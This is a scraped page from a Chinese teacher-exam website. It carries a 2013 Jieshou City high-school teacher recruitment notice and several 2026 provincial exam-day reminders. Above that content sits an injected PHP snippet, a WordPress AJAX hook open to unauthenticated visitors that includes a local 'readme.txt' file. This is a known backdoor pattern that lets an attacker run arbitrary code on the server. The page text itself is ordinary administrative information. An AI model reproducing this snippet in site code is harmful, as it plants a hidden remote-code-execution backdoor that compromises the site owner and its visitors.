if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
安徽省界首市2013年公开招聘高中教师56名-全国教师资格考试网

安徽省界首市2013年公开招聘高中教师56名

  根据《安徽省事业单位公开招聘人员暂行办法》,经界首市人民政府同意并报阜阳市人力资源和社会保障局批准,我市2013年面向社会公开招聘教师56名。现将有关事宜公告如下:
一、招聘岗位及名额                                
招聘高中和职业高中教师56名。其中:界首一中30名、界首中学20名、界首职业高中6名。详见招聘计划表。
二、招聘对象及条件
(一) 招聘对象:
报考普通高中教师必须具备国民教育系列本科及以上学历,且取得高中教师资格证。
报考职业高中音乐专业教师必须具备国民教育系列对应专业本科及以上学历,且取得高中教师资格证;报考服装专业教师必须具备国民教育系列对应专业本科及以上学历,且取得职业资格证或高中教师资格证; 报考电子、模具、汽车维修、舞蹈专业教师须具备国民教育系列对应专业专科及以上学历,且取得职业资格证或高中教师资格证。
(二)应聘人员资格条件:
1、热爱教育事业,具备良好的政治思想素质;遵纪守法,品行端正,具有任教的条件和能力;具有良好的职业道德及奉献精神;五官端正,身体健康。
2、报考年龄35周岁以下(1978年11月1日以后出生),户籍不限,年龄界定以有效身份证为准。
3、界首市财政全额供养在编在岗人员须经单位批准后方可报考。 
4、报考岗位要求的其他条件。
尚未解除纪律处分或者正在接受纪律审查的人员、经人力资源和社会保障部门认定具有考试违纪行为且在停考期内的人员、刑事处罚期限未满或者涉嫌违法犯罪正在接受调查的人员、以及其他不符合国家规定招聘条件的人员不得报考。
三、组织报名和资格审查 
1、报名。考生持本人二代身份证、毕业证、教师资格证或职业资格证等原件及复印件、近期免冠小二寸彩色同底版6张照片报名。 
报名地点:界首中学(界首市界师路66号、界首市教师培训处院内)            
报名时间:2013年11月9日-13日
上午8:00——12:00
下午2:30——6:00
2、电子采像。考生报名时持本人身份证进行电子采像,并领取《界首市招聘教师资格审查表》。
3、填写资格审查表。考生本人填写《界首市招聘教师资格审查表》一式三份。应聘人员报名时须真实、准确的提供报考信息,并在报名表签署“诚信承诺书”。 
4、资格初审。市人社、教育、公安、纪检监察等部门对考生提供的有关证件进行初步审查并建档。
5、收费。按安徽省物价局、财政厅皖价费〔2006〕226号文件规定的标准,报名费用每科45元,两科90元。
每位符合条件的报考人员,只能报考1个学科岗位 。报考人数与学科招聘计划数的比例达到3:1以上方可开考;达不到这一比例的,相应减少、取消或调剂招聘计划,并及时通知考生于2013年11月15日16时前,改报其他符合条件的岗位。
四、统一笔试(满分100分,折合总成绩60%,保留两位小数)
1、考试内容:
①公共课(满分100分,折合笔试成绩20%,保留两位小数)
考试内容为教育学、心理学、教育法律法规及对教师职业道德的各种要求。
②专业课(满分100分,折合笔试成绩80%,保留两位小数)
考试内容为招聘岗位高中至本科(或专科)类专业知识和高中对应学科的教材教法。 
2、考试时间:2013年12月1日(周日)上午
公共课:8:00——9:30(北京时间)
专业课:10:00——12:00(北京时间)
考试地点:以准考证上注明的考试地点为准。
五、资格复审
同岗位笔试成绩从高分到低分排序,按招聘岗位数的1:2确定资格复审人员(若笔试分数相同,专业课分数高的优先)。资格复审重点查验毕业证、教师资格证、身份证、职业资格证等,因复审不合格出现的空缺,依次等额递补。
六、面试(满分100分,折合总成绩40%,保留两位小数)
1、面试对象:资格复审合格人员全部进入面试。
2、面试内容及方式:采取结构化面试。主要测试考生对新课程的理解;了解考生应具备的知识、心理素养、外在气质等。
3、面试费用:按上级规定每人收80元。
4、面试时间、地点及相关事宜另行通知。
七、体检与考核
依据笔试和面试折合后的总成绩,按高分到低分等额确定体检和考核对象(若最后一名折合后总分数相同者,笔试成绩分数高的优先)。
1、体检由市人社局、教育局统一组织实施。体检参照《公务员通用体检标准》执行。
2、考核由市人社局、教育局、纪检监察部门等单位抽专人成立考核组,对应聘人员的政治思想、道德品质、业务能力、工作实绩(学业成绩)以及遵守国家法律法规等情况进行全面考察。
3、体检、考核不合格者,按报考岗位总成绩,从高分到低分依次等额递补。体检、考核时间另行通知。
八、 公示聘用
考核、体检合格者,确定为拟聘人员。经公示无异议后,由界首市教育局将拟聘用人员名单、考核材料、招聘岗位所要求的学历证书复印件等材料,报市人社局办理有关手续。未按时提供招聘岗位要求的相关材料,取消聘用资格。
根据国务院办公厅《转发人事部关于在事业单位试行人员聘用制度意见的通知》(国办发〔2002〕35号)和安徽省政府办公厅转发省人事厅《关于在全省事业单位试行人员聘用制度意见的通知》(皖政办〔2006〕13号)精神,招聘单位与拟聘人员签订聘用合同,并统一规范聘用合同文本,新聘用人员按规定实行试用期制度。
九、监督检查
为确保此次招考工作的公开、公平,增强招聘工作的公正性和透明度,落实报考者和社会各界对招考工作的知情权、参与权和监督权,市纪检监察部门对招考工作实行全程监督。对违反考试纪律的相关人员按规定予以处理,触犯刑律的,交由司法机关处理。
本公告由市人社局、教育局负责解释。
咨询电话:0558—4812725  0558—4888361
监 督 电 话 :0558—4822302 
界首市人力资源和社会保障局
界  首   市   教  育  局
二O一三年十一月一日
回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部